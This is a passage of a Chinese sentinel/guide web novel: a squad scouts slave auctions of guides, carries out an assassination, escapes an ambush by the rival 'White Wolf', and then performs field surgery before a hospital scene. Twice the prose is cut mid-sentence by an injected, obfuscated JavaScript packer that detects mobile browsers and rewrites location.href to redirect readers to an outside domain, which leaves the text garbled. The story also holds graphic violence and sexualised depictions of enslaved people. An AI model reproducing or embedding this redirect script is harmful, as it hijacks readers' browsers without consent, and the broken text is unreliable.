被精心打扮的向导,如同玩偶一般被放在舞台上展示,每一轮三个。他们进去的时候也才刚刚进行到第二轮,笼子里的向导女孩近乎一-丝-不-挂,雪白的胸前点缀着银环,上面还挂着铃铛,整个身体也只有流苏覆盖,顾小绒感觉到程浩低下了头去,不用想也知道他的脸现在涨红一片。 每一轮向导展示出来后,下面就开始竞价,韩奕的面容波澜不惊,甚至在三轮后对着一位被放在巨型高脚酒杯里的向导女孩举起了牌子,不过很快就被旁边的雇佣兵举牌抢走了。 顾小绒和程浩目瞪口呆地看着自家长官的熟稔与承受力,足足到第七轮后,正羽才回到他们身边,对韩奕耳语几句,他们这才如获大赦地离开了这个地方。 接下来的几天重复着同样的工作,压力几乎都在正羽一个人身上,每天晚上他还需要将白天探听到的情报制作成三维地形图,当然顾小绒和程浩也会帮忙分担工作,将填写好的信息实时传输回公会。 拼图的边界被一块块探查完整,他们度过了艰难又辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055865|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦的几天,尤其是第三天去的卖场是主要买卖男性向导的,拍卖会上顾小绒直面了被各种绑缚、装扮、甚至阉割的男性向导,等忍到完成任务走出去,她和程浩都忍无可忍地吐在了路边。 等到第五天他们去到小市场的时候,这里的人就更多更繁杂,质量也良莠不齐,倒也有识货的小老板愿意开出比大卖场更高的价格,但是只能先出一部分首款,被韩奕果断拒绝了。有一次,某个小老板在撩开顾小绒的斗篷后,毫无预兆地朝着她的胸摸去,他的手被顷刻间控制住,韩奕的神色冷得像冰,下一秒那人就捂着手嗷嗷叫着跪倒在地上。 排除掉这些小插曲后,任务进展得还算顺利,他们几乎已经将整个向导卖场摸了个透,连同中央区域也探查到大半。到最后的几天时间,顾小绒发现街道上的人变少了,很多区域也开始戒严,到处都是穿着制服的雇佣兵来回巡视,他们全副武装,都带着头盔、护目镜与防护面罩,装备看上去造价不菲,甚至比中央公会都不差,这一看就是“白狼”希里斯手下的人。 看这个阵仗,他们的目标德拉文应该是要来了。 行动的那一天平平无奇,仍旧是韩奕带着他们第二次踏入星矢,逛完了其他所有的卖场,他还是准备来这里谈价。销售经理很显然还记得他们,眉开眼笑地将他们请了进去。 放倒经理与换衣服没有花费太多时间,按照正羽探寻出来的路径,他们毫不费力地穿过大厦的监控死角、下潜到偏僻的地下通道里,直接突进到中央区域。地下通道四通八达,横贯着整座城市,如果说泽卡的地面建筑防御森严、坚不可摧,地下通道则是这座巨兽的阿喀琉斯之踵。 他们快速解决了几个巡逻的哨兵,从这一刻开始任务就进入了极限倒计时。德拉文应该是在希里斯、以及重兵保卫之下从东部的正门进入,根据情报与现场护送车队的轨迹,他一定会通过入口处的巨大花园进入到大楼里,那里宽广而毫无遮蔽,是绝佳的刺杀场所。 西部的建筑群距离东部入口最远,门口的开阔地带甚至不在常规的射击范围内,因此这边的防守也最为薄弱,前几日的探查做足了功夫,他们已经将这一片建筑群的结构与细节全部掌握。 韩奕和正羽各自迅速找好了狙击位置,静待时机。韩奕负责瞄准德拉文,而正羽则负责掩护韩奕。 顾小绒此时的精神力与韩奕紧紧连接,通过哨兵的眼睛,她看见在遥远的庭院另一端,有两个人正在无数雇佣兵的簇拥下缓缓走进。中年男人灰褐色的头发、阴沉的面目与眼神、还有略微佝偻的身躯,赫然是德拉文本人。旁边跟随的银发哨兵一身白色的佣兵服制,身形高挑、装容华美,整个人在黑压压的哨兵群里如同寒星般耀眼夺目。 白狼可真是张扬高调,顾小绒心中暗想。 韩奕的气息冷了下来,精神连接一片空白,顾小绒很清楚这是长官进入战斗状态的前奏。S级哨兵的视力远超A级,在德拉文还没有走入寻常哨兵的瞄准范围时,韩奕就已将他锁定。锋利的黑眸微微眯起,空气静止到仿佛停止流动,黑豹缓慢地呼吸着,指节轻轻扣动了扳机。 无声无息的瞬时之间,这位南方生化实验的总负责人就直挺挺倒在了地上,他的额间赫然是一道精准狠辣的弹孔,血从失去生息的身体中涌出。几乎是同时,身边的银发哨兵拔枪对准了他们的方向——从顾小绒与韩奕的视角看来,几乎是对准了他们本人,黑豹没有给对方任何机会,第二次扣动扳机,传闻中不可一世的白狼被直接穿透了太阳穴。 这一切只发生在短暂的2秒内,而后他们面前的玻璃被无数机枪扫射,碎片如同暴雨一般纷飞落下,凶猛地朝着他们砸来,韩奕立即转身将顾小绒揽在怀里贴进射击死角。此时的正羽和程浩也赶了过来,准备去往约定地点撤退。 “告诉接应人员立即撤离。”韩奕寒光闪烁的眼眸直逼正羽,随后在众人惊异的目光里,他一字一句道: “我们中计了,这是个陷阱。” 27. 第二十七章 众人震悚的目光定格了足有一秒,随后一发子弹忽然破空而来,几乎是擦破了程浩的耳尖,正羽一把将向导往自己怀里按去。这发子弹不是来自外面的狙击手,是来自大楼内部的楼梯方向。 两位哨兵几乎是同时抄起自家向导就朝着楼下狂奔,霎时间巨量的雇佣兵朝着楼内涌来,如同黑色的潮水袭卷而上。窗子的玻璃同时破裂,大约七八个雇佣兵同时从窗外突入进来,韩奕把顾小绒往正羽身边一塞:“交给你。” 这时程浩也已经反应了过来,无数次的实战模拟已经让他们有了高度的默契,顾小绒连韩奕的身影都没有看清,就被正羽一手拎了起来。刀刃划破血肉的声响剧烈地冲击着耳畔,正羽抱着她几乎是用飞一般的速度朝着楼梯的另一端撤离,程浩紧随其后,刀光剑影之中,敌人鲜血四溅的残肢断臂狠狠砸落在他们身上,仿佛是穿过了一场爆裂的血雨。 韩奕如同一抹无法捕捉的黑色虚影,他们只能听见子弹与刀刃的破空声在身后此起彼伏。正羽来了一段几乎是垂直40米的三连跳,剧烈的震荡使得顾小绒几乎无法维持与自己哨兵的精神力。落地后的正羽稍微停顿了一下,伸手接住了紧随其后坠落下来的程浩,让他没有摔得太惨。 随后一道密集的扫射如同鞭子朝着他们抽来,最后那一发几乎是贴在顾小绒后背戛然而止,巨量血雾喷洒而下,顾小绒重新巩固了一下与韩奕的精神链接,她的哨兵此时正一人在楼上大开杀戒,她只能从他的视野里看见漫无边际的惊涛血浪。 在枪林弹雨的夹击下,正羽抱着顾小绒、连同程浩三人一起突入了一座巨大的房间。这里看上去是一座剧院,内部穹顶有数十米之高,是没有窗子、完全封闭的内室,且有无数的座位可供遮挡。正羽立即拔出匕首捅进了电路开关,一阵电火噼啪之后,所有的灯全部熄灭,将他们瞬时吞入黑暗中。 程浩已经调好了电磁炮,实在不行他们可以直接往下来一炮强行突围,而正羽面露难色,首先是不知道这一炮打下去后,外面会不会有更多的雇佣兵进来,其次是长官还没有跟上…… 顾小绒缓过一口气,她开始用精神力去尝试攻击敌方哨兵,她发现这些人不同于先前战场上遇到的狂化哨兵,他们是有自我意识的,而且他们也同样装配有机械精神力反击装置,只要稍微一碰就会让进攻的向导陷入晕眩,看着程浩发青的脸和冷汗岑岑的额头,顾小绒知道他已经试过了。 不知怎的,蝴蝶的轨迹忽然出现在顾小绒的脑海里,她沉下心去感知,在一片黑暗中看见了无数快速移动的虚影,它们都围绕在敌方哨兵的头部,顾小绒忍住晕眩仔细探查,终于在凌乱闪动的光影里看清了对方的本质,是一个个缓缓流动的漩涡。于是她尝试着将精神体的羽毛炼化做刀锋,顺着漩涡流淌的间隙穿插进去。 果然,敌方哨兵的攻击停滞了一瞬,子弹的声音短暂地停歇了数秒,其余的则变得混乱。甚至通过韩奕的眼睛,她看见敌方哨兵在失手之下扫到了自己人的身上。 程浩也立即捕捉到了这股变化,晕眩感减退之后,攻击型向导发挥了前所未有的力量,光锥几乎是立即顺着被刺破的漩涡狠狠扎去。因为之前顾小绒的精神力已经刺破、并卡住了流转的漩涡,程浩这一记猛攻几乎直接将其捅碎,对方哨兵因为骤然的痛苦而僵硬停滞,全都成为了韩奕的刀下亡魂。 上校终于从缠斗中解脱出来、来到了剧场里,他浑身是血,仿佛从地狱归来,脸上的纳米面罩也缺失了一角,露出了明显的缺口。 四人到齐之后便立即准备找寻路线撤离,顾小绒抬手拿枪对准了门外追赶过来的敌军,因为刚刚剧烈的精神力攻击,他们的行动都迟缓了很多,几乎是一枪一个爆头。 “快走。”韩奕的声音已有些气喘,浸满鲜血的手拍了拍她的肩,示意自己来断后。 “想走?有那么容易么?”一道冰冷从容的声线忽然响起。 顾小绒浑身一怔,看得出来即使是正羽和程浩也根本没有察觉到剧场里有人存在,一阵剧烈地白光瞬间充斥了众人的视线,剧院舞台中心的巨大水晶灯忽然亮了起来。一个银发白衣的哨兵正站在那里,他身量颀长、一袭白色的特种作战服,银质的铠甲与白色的皮革在他的身躯上完美交织,他的手正缓缓伸向背后,抽出一把寒光闪烁的长刀。哨兵面容俊美、英气逼人,皮肤冷白如同冰塑,银色的短发寒星一般闪耀光芒,狭长的绿色瞳仁微微眯起,冰冷而玩味地瞧着他们,如同在打量落入陷阱的困兽。 顾小绒感觉到正羽的身子有些僵直,做为向导她没有哨兵那样对力量敏锐的感知,但眼下的情况已再明显不过,此时站在他们身前的、才是真正的“白狼”希里斯。 “黑豹,你终于现身了。”希里斯轻轻抬了抬矜持的下颌,他的眼里除了韩奕之外,没有放下任何人。 韩奕没有回答,只是用指尖拉住了破损的面罩缺口,随后将面罩连同防护罩一同摘了下来,粗犷的面容随即掉落,露出了原本沉黑而深邃的眉眼。 雇佣兵们此时已在剧场外将他们团团围住,但都静默不语,等待首领的命令。 “你的反应还挺快的。”希里斯缓缓挽了个剑花,银色刀刃冷白的锋芒清晰可见地流动,他一步步缓慢地朝着他们走近。 “你的人演技太烂。”韩奕毫不留情地嘲讽道,殷红的血从他的头上流下,将他的半张脸浸透,因为刚才的杀戮,上校原本清冷的面容已被猩红笼罩。 刚才与敌军的搏杀里,韩奕虽然没有落下风,但他一人独自应对数量上百的敌人,还是受了一些轻伤。顾小绒注意到韩奕的腰侧正汩汩地流着血,一发子弹擦过了那里,所幸位置很浅。可即使如此,狰狞破碎的创口仍旧不断地涌出鲜血。 为什么……为什么防弹衣失去了作用?顾小绒浑身一怔。 “你不会以为只有你们北方才有穿透性子弹吧?”她的神色被希里斯尽收眼底,银发哨兵勾了勾唇角,顾小绒立即试图对他进行精神攻击,却发觉对方的精神力如同一片无垠的黑域,几乎是与世隔绝、毫无缺口可循。 此时希里斯已经缓步走到距离他们已不过十米的地方,正羽几乎是本能地将程浩揽在了自己身后。话说完后,希里斯顿住了步伐,数秒的寂静在空旷的厅堂内无尽延长。 白光在刹那间欺身而来,黑豹反手抽出利刃,双方的长刀瞬时碰撞在一起,发出尖锐的铿鸣,顾小绒只感到短兵相接的气浪如同爆破一般四散迸裂,正羽立即上前将她护在身后,两位S级哨兵的对战不是他们能够参与的。 希里斯的刀法凌厉果决、千变万化,顾小绒几乎是完全无法捕捉到其中的踪迹与规律,韩奕沉稳地应对着对方的攻势。飞驰的刀光几乎将气流割裂开来,空气惊涛骇浪地涌动,随着他们各自的刀锋剧烈地撞击爆破。二人的每一次腾挪与落地,地面都会剧烈震颤。 仅仅只是被刀刃的尾端扫过,一排实木的座椅便被一分为二,直劈了近十米之长。刀光纷飞劈砍,水晶灯、木椅、地板转瞬间支离破碎,几乎连楼体都发出支撑不住的哀鸣。 韩奕毕竟已经消耗了大量的体力,在希里斯疾风骤雨、行云流水的一套攻击后,黑豹最终力竭,一侧腹部被拉出了一道深长的血口。泼洒而出的鲜血没有沾染到白狼分毫,他动作利落地转身落地,刀身同样滴血不沾、仍旧如同刚出鞘时一般锋利雪亮。 顾小绒挣脱了正羽和程浩拉着自己的手,朝着韩奕跑去,她紧紧地从后抱住力竭的黑豹,支撑住他遍体鳞伤、摇摇欲坠的身体。 昔日劲敌的落败似乎让白狼十分愉悦,他倒不急着继续动作,缓缓收了势。 “你可真难抓。”他用刚才那般冷然的语调缓缓说道:“阿维隆军港那一次,我还以为来的会是你,白费了好大一番布置。” 顾小绒猛然抬头,阿维隆军港如此惨烈的收尾,原来是希里斯的安排。他们牺牲了五位哨兵、三位向导,每一个都是中央公会费劲心力培养的精英,再算上重伤与残废的,几乎可以说是血海深仇。顾小绒大脑一片空白,可眼下的情况她只能眼睁睁看着白狼继续。 希里斯用珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“德拉文这么多年都没有消息,最近忽然就有了,南方军还把我挂在悬赏单上,你自己琢磨琢磨。”这下,换做沉黑的眸子冷冷扫过狼狈的希里斯了。 希里斯在与两位年轻S级的缠斗中快速落败,楚飞怒火攻心、以牙还牙,在他的腰间同样拉了一条长长的血口。鲜红的血将希里斯的一身白衣沾染,白狼终于力竭、单膝跪地,神色与姿态却依旧冷傲从容。 “好吧。”如若瓷器的面容缓缓绽开一个微笑,希里斯的皮肤因失血而变得苍白透明,脸部的侧影破碎失真。 “本来想最后再拿出来的……唔……”白狼捂住伤口:“就当我送给你的礼物吧,上校。” 一阵天崩地裂的剧痛随着话音的尾梢贯穿了在场所有人的头部,即使是精神防御极强的顾小绒都没能顶住,她只觉千斤压顶,仿佛自己的头和身体都被刺穿,那股力量还在不断加强,像是要将她的身体撕裂开来。一股熟悉的味道、带着血的腥气悄然而至,是梦魇般的薰衣草味。 纷飞的蝶翼流瀑般倾泻而下,是蝴蝶。 顾小绒的瞳孔猛得放大,她的身体如同石化一般不能移动分毫,余光艰难地瞥向身旁的正羽,哨兵已痛到抱头跪下,而其他队友同自己一样也被这股剧烈地精神力侵袭压制。眼下这样的攻击强度,同第一次在萨特斯堡垒遇见时几乎无法同日而语。 她眼睁睁看着希里斯站起身来,朝着刚刚电磁炮轰出的缺口退去,在走之前他从腰间抽出了一把银枪,黑洞洞的枪口直直对准了韩奕。 顾小绒使出了全身力气狠命挣扎,几乎不亚于将贯穿自己的剑刃从身体中硬拔出来,知更鸟的啼鸣嘹亮地响彻寰宇,她感觉到自己半边身子发麻,似乎恢复了些许知觉。以上这一切不过只过去了短短1秒,顾小绒控制着唯一能动的半边上身,朝着韩奕的身前扑去。 子弹悄无声息地射入身体,没入柔软的血肉,顾小绒感到浑身一轻,像是瞬间被抽走了力气,周遭的一切变得虚幻,她的耳际一片嗡鸣,蝴蝶却忽然消失了。 希里斯随即飞身逃了出去,消失在了她的视线里。 28. 第二十八章 剧场之外,周烨正与那位棕熊哨兵的向导华峥一起,清理着白狼的手下。能被分去制衡S级哨兵的,毫无疑问都是最强大的向导,他们俩加在一块,暂时抵住眼前的敌军没有问题。最开始的时候只是枪战,到后面被突进到眼前,二人不得不分工合作,周烨负责近战、华峥负责掩护。 他俩的脸色看上去都不是很好,面对敌方哨兵的精神防御他们选择了直接正面攻击,毫无技巧,纯粹力量碾压。硬碰硬的结果虽然也很有效,但两人的精神力消耗很大,同时也感到了巨大的痛苦。周烨飞身踹下一个近身的哨兵,偏头躲过另一个,华峥随即在后补枪。 二人的配合十分娴熟,彼此对对方的作战风格、节奏与状态都十分了解。他们突入进来总共也不出五六分钟,周烨的动作看上去却比平日里迟缓一些,他冷汗岑岑,气息也十分急促,这不是他的正常状态。 华峥敏锐地发现了这一点,他拉住有些力竭的周烨暂时躲到一个石柱后面,关切地拍了拍同伴的肩:“诶,你怎么样,没事吧?” “没事。”周烨简短地回复道,在刚才的搏击中他被敌人刺伤了腹部,伤口不深,却像没有尽头的黑洞一样吞噬着他的体能,他的手过紧地攥着枪,掌心已被汗水湿透。 华峥紧急扯过一截窗帘替同伴包扎伤口,他也负了伤,只是比周烨稍微好些。之前的那次抵抗训练,大家出于长官的约束下手都分了轻重,只有楚飞和周烨两人碰面就直冒火星,硬桥硬马地来了一场。先前在阿维隆军港,周烨就受了重伤,又在抵抗训练里被哨兵重击,完全没有得到足够的休养,现在还继续投入这场如此紧急的任务。 如此一番接连受创,毫无喘息时间,即使是有现役最强攻击型向导之称的周烨也难以承受。 因为分头行动,他们暂时没有与哨兵进行精神力连接,但是看时间他俩的哨兵应该也完成任务了。变故就是在此时忽然发生,惊天动地的剧痛一瞬间将两人狠狠钉在原地,华峥也服役多年,从未遇到过这样强烈的精神攻击,几乎超出了言语所能描述的极限。两位A级向导竟然同时失去了反抗之力,身体如同石化般失去控制,甚至连偏头都做不到。不巧的是,一个敌方哨兵在这要命的档口追了过来,抬手将枪口对准了华峥的头。 死亡瞬间将他笼罩,可他却完全无法挣动身体。 忽然,周烨的身体动了,他猛地向后朝着华峥撞去,哨兵的那一发子弹砰的一声打入了他的肩膀,从而救下了华峥的性命,那股压制着他们的精神力骤然消失。随后,只听一声巨大的爆破,他们的哨兵连同剩下的队友都已完成任务从剧场中撤了出来。敌军在此时忽然溃退,曼琳也发来消息说她已经到了楼下准备接应。 有三位S级哨兵同时在场,料理起残兵败将如同砍瓜切菜,只是他们现在不能过多停留,需要立即撤离。 言韶闪身而至、巨剑将刚才对着他们开枪的哨兵直接一分为二,鲜血如同暴雨一般从断成两半的身体里涌出,他片刻都没有停顿,在血雨还喷洒在半空时就直接穿了过去捧住了自家向导的头,左瞧右望,生怕他有什么事。 华峥摇摇头表示自己没事,随后艰难地抱稳了一旁近乎昏迷的周烨,他的大半个肩膀都被血浸透了。 小山一般魁梧的棕熊哨兵被一阵更大的力量推开,楚飞看到眼前的场景,双眼一片血红,他不由分说地从华峥的怀里接过了周烨。 他们的长官走在最后,已向他们发布撤退命令,受伤不重的华峥与言韶决定走前面开道,还能行动的程浩和正羽断后,天煞孤星的师徒二人则各自带着自己负伤的向导走在中间,避免被二次袭击。上校双手捧着近乎昏迷的向导女孩,她的情况看上去比周烨还要糟糕。 曼琳早已等候在楼下了,她驾驶的是公会最新研制的车形机甲,看外形是改造炫酷的车,实际上装有重炮可以直接投入战斗,还能收起轮胎展开机翼隐身飞行,除了体量太小之外几乎没有缺陷。机甲车就这样一路横冲直撞地闯到了楼下,4对哨兵与向导都在,人一上车后曼琳便一踩油门、迅速撤离。 在车身驶离摇摇欲坠的大楼后,副驾的诺兰拉起平衡器,机甲便立即展开机翼腾空而起,在巨大的音爆中转瞬消失于天际。 虽然击伤了白狼,也突如其来地重创了他的亲卫队,可毕竟泽卡是客场作战,只需再过几分钟,整座城市的军备力量都将快速反应。好在此次派出的也是中央公会最精锐的一批人,他们在计划的时间内精准撤离。 之前一路进行的详细地形排查起到了作用,因为这座小型机甲炮击和音速飞行时耗能很大,体量又太小,曼琳便在来的时候就把一部分能源池分开藏在了路途的站点,其中就包括了泽卡旁的小镇。他们并不敢过多停留,在更换能源池之后就继续撤离,他们需要按时到达到公会的指定地点,几乎是要到脱离整个南部的区域,才会有战机在那里接应他们。 在跑出泽卡足足数千公里之后,他们才敢停下来更换第二批能源池,以及处理伤患。 韩奕只受了一些皮外伤,最严重的是顾小绒,向导女孩的腹部被纱布牢牢地按压着,所幸机甲速度够快,现在只过去了不到2小时。可是她的情况无法支撑到去往撤离的地点,在停下战机后,曼琳决定立即将她腹部的子弹取出来。 顾小绒感觉到自己的头被上校轻轻拢在怀里,她从来没有这样久地被他抱着。 一路上,曼琳让旁人与她说话,让她不要失去意识,程浩和正羽急得团团转,一直在呼喊她的名字。她睁着眼,看见的是上校的眼睛,她用力地、一瞬不瞬地望着他,艰难地数着每一次呼吸。血袋已经用完了两袋,剩下的也不多了,手术需要立刻进行。 现场没有专业的医务人员,没有人敢贸然使用麻醉,他们要在顾小绒完全清醒的情况下切开她的腹部。曼琳将一截散发着消毒水味的白毛巾放进向导女孩的嘴里,轻轻摸了摸她的头:“千万忍住,一定不要动哦。”顾小绒听话地咬住毛巾,轻轻点了点头。曼琳和诺兰翻开医疗装备箱,开始将各自的手臂消毒,言韶和正羽也过来帮忙,两个哨兵一左一右地按住了女孩的身体和腿。 “这么多哨兵都陪着你,这待遇不多见哦。”诺兰露出了一个勉强的笑容,他努力压制住情绪哄着顾小绒。 向导女孩明白,冲他微微一笑。 冰冷的手术刀切开侧腹部柔嫩的皮肤,露出红色血肉,顾小绒的指尖扣进了担架的边缘,曾经被仔细修整延长的甲片,此时正一根根断裂。 镊子已往下探明了子弹所在的位置,还好在射入时候被肋骨挡了一下,没有深入体内太多,也没有伤到脏器。刀锋继续用力往下,切割到更深。 又是这样的感觉,顾小绒睁着眼,她在漆黑的海里缓缓下沉,望着水面上明亮的阳光一点点消逝。 切口继续往下,拐了一个角度。 她的身体被三个哨兵同时制住,动弹不了分毫,刚刚那阵剧痛让她的视线彻底陷入了黑暗,她感到身体变得很轻,像是快要融化开来的泡沫。 手术刀到了足够的深度,切口朝着两边拉开固定住。 一只温热、有力的手紧紧握住了她血肉模糊的指尖,与她十指相扣。她什么都看不见,也听不到了,可她记得那只手,是他熟悉的脉络与温度。他们的手紧握到了一起,让她想起了之前与他的每一次触碰。 曼琳一手拿刀,一手拿着镊子,用刀压下喷涌的血、剥开最深的肉,用镊子去夹那个已露出头来的银色子弹。 她记得第一次抵抗训练时,他巨大的手掌将她的手紧紧包裹住,她的手骨几乎是立即破碎开来,那是她记忆里最痛的一次,似乎她生命里所有的痛都与他相关。她几乎是发狂地将鲜血淋漓的指尖狠狠扣进他的皮肤,哨兵仿佛全无知觉,只是用力地回握着她,比之前的每一次都要用力,像是要把她 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这个可怕的念头只短暂存续了一秒,下一刻她就被紧紧地拥入了一个怀抱,鼻尖充盈着令人安心的雪松味,上校的怀抱用力而滚烫,她在瞬息间被他填满。他微凉的唇落在她湿透的额间,她只感觉一道电流从那里蔓延,孱弱的心脏重新开始跳动,冰冷身体被注入热流,她又重新恢复了知觉与掌控。他的力量那么大,大到快要让她昏厥,大到好像要把她摁进自己的身体里,那股剧烈的痛苦与欢欣再次从心底爆发开来,炽热猛烈、灼烧蔓延。 如果自己死掉的话,上校又会被关进禁制塔里,她怎么舍得…… 她怎么舍得抛下他离开呢…… 一行带血的浊泪从眼角滑落,子弹被取了出来,扔在了一旁的铁盘上,曼琳立即动手替她缝合伤口。 另外一旁,周烨的面容已全无血色,嘴唇浮现出病态的苍白,他中弹的肩膀也一直没有时间处理,此时几乎到了极限。 他已经没有力气支撑住身体,华峥只能让他的上半身靠在自己怀里,用身体把周烨撑起来。楚飞已经做好了消毒,同样拿出了手术刀、镊子、碘伏和纱布。“周烨,周烨。”华峥喊着他的名字,他发现周烨的意识也到了临界点,几乎快要陷入昏迷,他一边喊着,一边将他的身子牢牢圈住:“别睡过去,我们现在把子弹给你取出来,你忍一下。” 若是平时,以周烨的力量,华峥一个人肯定是按不住的,他环视了一圈有没有哨兵能帮忙的,结果发现除了楚飞之外所有人都在伤得更严重的顾小绒那边。没办法了,不行也只能上,华峥咬咬牙,周烨是为了救自己才受伤的,这个恩情他这辈子都还不完。 楚飞做好了准备,将周烨肩头的战甲拆下,子弹穿破了铠甲,卡在了他的肩胛骨里,拆开临时包裹的、被血浸透的纱布,那里赫然是一个狰狞的血洞,正汩汩地流着血。周烨平时是十分能承受疼痛的,甚至是能狠到自己将脱臼的手臂重新装回去,可这一次毕竟是枪伤,而且子弹卡在骨骼深处,两个小时的折磨将他的意志和体力都逼到了极限。他的身体因受痛而难以克制地颤抖,华峥竭尽全力地按着他,还是有些难以控制,急得赶紧喊了程浩过来,两个人一个架着一个按着,这才勉强控制住一点。 “我开始了。”楚飞的手扶住周烨受伤的肩,手指撑住弹孔周围的皮肤。 “唔……”周烨闷哼出声,连带身体都急促地偏离了位置,华峥和程浩两个向导根本按不住。他汗如雨下、剧烈地喘息着,情况十分危急。 “华峥,我来扶他,你取出子弹。”楚飞果断说道,此时的他眉眼中带上了同他老师一般的冷冽与果决。 “行……”华峥也出了一身的汗,只能与楚飞赶紧调换位置,他打着颤地给自己手臂消毒,随后重新拿起了手术刀,伸手撑住了那个伤口。楚飞几乎是将周烨环抱在怀里,双手紧紧扣住周烨的两只手臂,程浩在旁边协助。 哨兵的力量果然不同,在手术刀切进去时,周烨在一瞬间痛到几乎昏厥,他的身体无法控制地剧烈痉挛,如果不是被楚飞牢牢制住,几乎要立刻跌落在地。 华峥清楚眼下的情况已经容不得再拖延,在确定楚飞完全能控制住他之后,手术刀既深且狠地切了进去。 29. 第二十九章 “唔……”破碎的嘶吼仿佛从胸腔呕出。 华峥的手术刀直抵肩胛骨,那颗子弹正深深地嵌在坚硬的骨头里,他强迫自己忽视掉周烨的一切反应,狠命地将那颗子弹从骨骼里取了出来,刀子穿过血、肉与筋脉,直接插入骨髓,这样的疼痛几乎可以让人丧命。 周烨在楚飞的牢牢压制下,身体竟真的无法挣动分毫,等华峥狠下心将子弹费力取出时,周烨的脸上已满是血泪,青筋从脖子一直蔓延到太阳穴,那张平日里昳丽清俊的脸面目全非,双颊因为过于激烈的痛楚泛出病态的红,身体却像是从水里捞出来一样苍白透明,他的气息越来越轻,瞳孔无神地放空,几乎快要有扩散的趋势。 “周烨,周烨!”程浩感觉到他状态不对,急忙喊他的名字。 华峥无暇他顾,逼迫自己立即处理缝合伤口,等最后重新一层层包裹上纱布之后,他才发现周遭过来帮忙的人已经变多,看来顾小绒那边已经处理完了。因为他全身是汗、指尖打滑,最后的包扎都是由曼琳来完成,她继续拆开周烨被临时包扎的腹部,将那处的伤口也重新缝合上。 周烨的意志及其坚强,在熬过刚刚最痛的瞬间后,他已经缓了过来,等曼琳完成了最后的包扎后,甚至还平复了喘息,问道: “她呢?”他的声音低到只有颤抖的气音。 “小绒的子弹取出来了。”曼琳一边包好纱布,一边回复道:“会没事的,一定。”她从完成任务、到驾驶机甲、处理伤口,几乎已持续7小时接连不断地工作,绿色眼眸已布满了血丝,她的声音却仍旧沉稳镇定,手也仍旧平稳,没有丝毫的颤动。 接下来的路程,换成程浩和正羽继续驾驶机甲,又经过接近5小时的音速飞行、两次的更换能源池后,他们最终赶到了目的地,坐上了公会前来接应的战机。 好在伤口处理及时,在到达之前顾小绒和周烨的流血已经止住了,只是顾小绒毕竟切开了腹部,之后会不会感染或者恢复如何还要静待情况。这一次,是白狼想要设套引诱黑豹踏入陷阱将其猎杀,而黑豹将计就计反将白狼一军,甚至如果没有最后的突然变故,白狼已经被干掉了。 此次的博弈以双方平手而告终,所幸没有太大伤亡,顾小绒在进入重症监护室三天后体征就已平稳,转到普通病房。双方也同样有得有失,除了之前如同幽灵般诡谲的蝴蝶向导再次重现之外,希里斯应该已经意识到了他的身边有北方的间谍人员存在。 而韩奕早在阿维隆军港那一次,就怀疑公会里有南方的间谍,他一开始就对任务进行了切割,顾小绒等人根本不知道任务的真实目的是什么,也不知道最后两位S级哨兵会被派遣过来。若不如此,鹿死谁手还未可知。 不过此时,这个一直以来把工作与职责视作一切的男人,破天荒地没有参加公会与情报所、反间谍调查组等等机构立即召开的一系列会议,他寸步不离地守在军区医院、守在他的向导身边。 医院给他们的是双人病房,另外一张病床用于陪护人员休息。顾小绒因为伤重又失血太多,整个人的身体虚透了,外界又恰好遇上连续五天的大暴雪,气温寒冷异常。即使是医院24小时不间断地开着暖气,也感觉没有太过热乎,凌晨时候暖气系统甚至忽然跳了闸,也许是被暴雪天气影响,设备出现了故障,只能大半夜摇人起来抢修。 暖气停止后,空调被立刻启用,只可惜在这样的极寒天气里,空调的暖风几乎等于没有。韩奕将热水袋放进顾小绒的被子里,那里一片冰冷,半晌也没有起到作用,手探进被子里,仍旧是一片冰凉。 顾小绒的身上已经盖了两层足厚的鹅绒被,她却仍旧冷得僵硬发颤,可是看着上校探进来的手和立即沉下去的脸,她马上开口道:“没事,长官……我过会儿就好了……”她一边说,一边艰难地把热水袋又往上抱了点,那东西倒是滚烫的,只可惜覆盖面太小,她浑身上下哪里都冷,尤其是快要感知不到温度的脚尖。 没有得到上校的回复,顾小绒合上了眼睛,因为受伤,她最近总是很嗜睡。她听见一阵衣料摩擦的细微声响,猜想应该是上校在脱衣服准备就寝了,病床的护栏被咔哒一声按下去,顾小绒不由睁开眼,只见哨兵动作极轻而快地躺了上来。 上校双肩宽阔、腰处细窄,虽然体型高大,但是侧着身子也没有占用太多空间,他现在全身只穿着一件薄薄的灰色里衣,一手将顾小绒揽进怀里,一手重新盖上了被子。 温暖的身躯从头到尾地将顾小绒包裹,她感到一阵难以言说的舒适,上校的体温没有热水袋那样滚烫突兀,是十分平和的温热,她被他一整个圈在怀里,就像是被包裹在温暖的洋流中。她闻到了淡淡的雪松味,那样的清冽、好闻,几乎是只要一点点就能让她忘记身体遭受的疼痛。 顾小绒心跳如雷,上校的手臂绕过她的伤口,轻轻拢在她的腰间,从背后将她一整个环绕住,这个动作让她不由想起之前,如果她没有记错的话,那时候……上校的唇似乎在她的额头上,落下了一个轻轻的吻。她随即又想起了那时他抱着自己的力度,快被揉碎的疼痛与窒息冲击着她的脑海,她的心脏跳得更凶了。 心电仪的数值猛地冲了上去,快速攀升,她的头顶抵着上校的下颌,能感觉到对方在往上看。 “怎么了?”上校问道,声音沉厚温存,他又将顾小绒往怀里拢了拢:“我去叫医生。” “啊,不……不用,没事。”顾小绒情急之下拽住了上校准备抽离的手,过了一两秒才后知后觉地松开,上校于是停止了动作,只将她静静搂着。明明他的手只是松松揽在她腰间,她却觉得这个拥抱绵长紧密、无所不至,她的身体开始迅速回温。 